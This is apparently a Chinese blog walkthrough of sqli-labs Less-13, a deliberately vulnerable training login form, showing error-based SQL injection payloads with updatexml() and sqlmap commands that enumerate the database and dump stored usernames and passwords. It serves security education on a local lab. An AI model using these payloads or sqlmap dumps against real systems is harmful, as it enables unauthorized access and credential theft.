1. 思路🚀
本关的SQL语句为:
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
- 注入类型:字符串型(单引号、括号包裹)、POST请求
- 提示:参数需以
')
闭合
php
输出语句的部分代码:
if($row)
{//echo '<font color= "#0000ff">'; echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">'; echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; echo "</font>";
}
可以看到没有回显语句,那就需要用到盲注手段,首选报错盲注
,问就是sql语句少:
- 布尔盲注
- 时间盲注
- 报错盲注✅
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-13/
,只需要将下面的url
和post data
放入对应位置,粘贴即可。
2.1. 判断能否注入⚡
uname=1') order by 3 #
&passwd=admin&submit=Submit
order by 3
:探测字段数(报错说明字段数=2)
2.2. 获取数据库⚡
uname=1') and updatexml(1,concat(1,(select database())),3) #
&passwd=admin&submit=Submit
2.3. 获取表名⚡
uname=1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&passwd=admin&submit=Submit
2.4. 获取字段⚡
uname=1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&passwd=admin&submit=Submit
2.5. 获取数据⚡
uname=1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3)#
&passwd=admin&submit=Submit
2.6. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
') | 闭合符号 | id=1') |
# | 注释符 | # |
order by | 判断字段数 | order by 3 |
updatexml() | 报错注入函数 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函数 | concat('a','b') 或 concat(1,(select database())) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url
地址换成自己的,比如:http://localhost:8081/Less-13/
,由于本关卡为post
请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"
,uname
与passwd
的值随意,具体如下:⭐
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-13/" --data="uname=1&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
SQLMap参数表⭐
参数 | 功能 |
---|---|
--data | 指定post 请求 |
--batch | 非交互模式 |
--dbs | 枚举数据库 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--dump | 导出数据 |
4. 总结🏁
关于post
请求,本关卡与关卡11的解法相仿,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209
有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗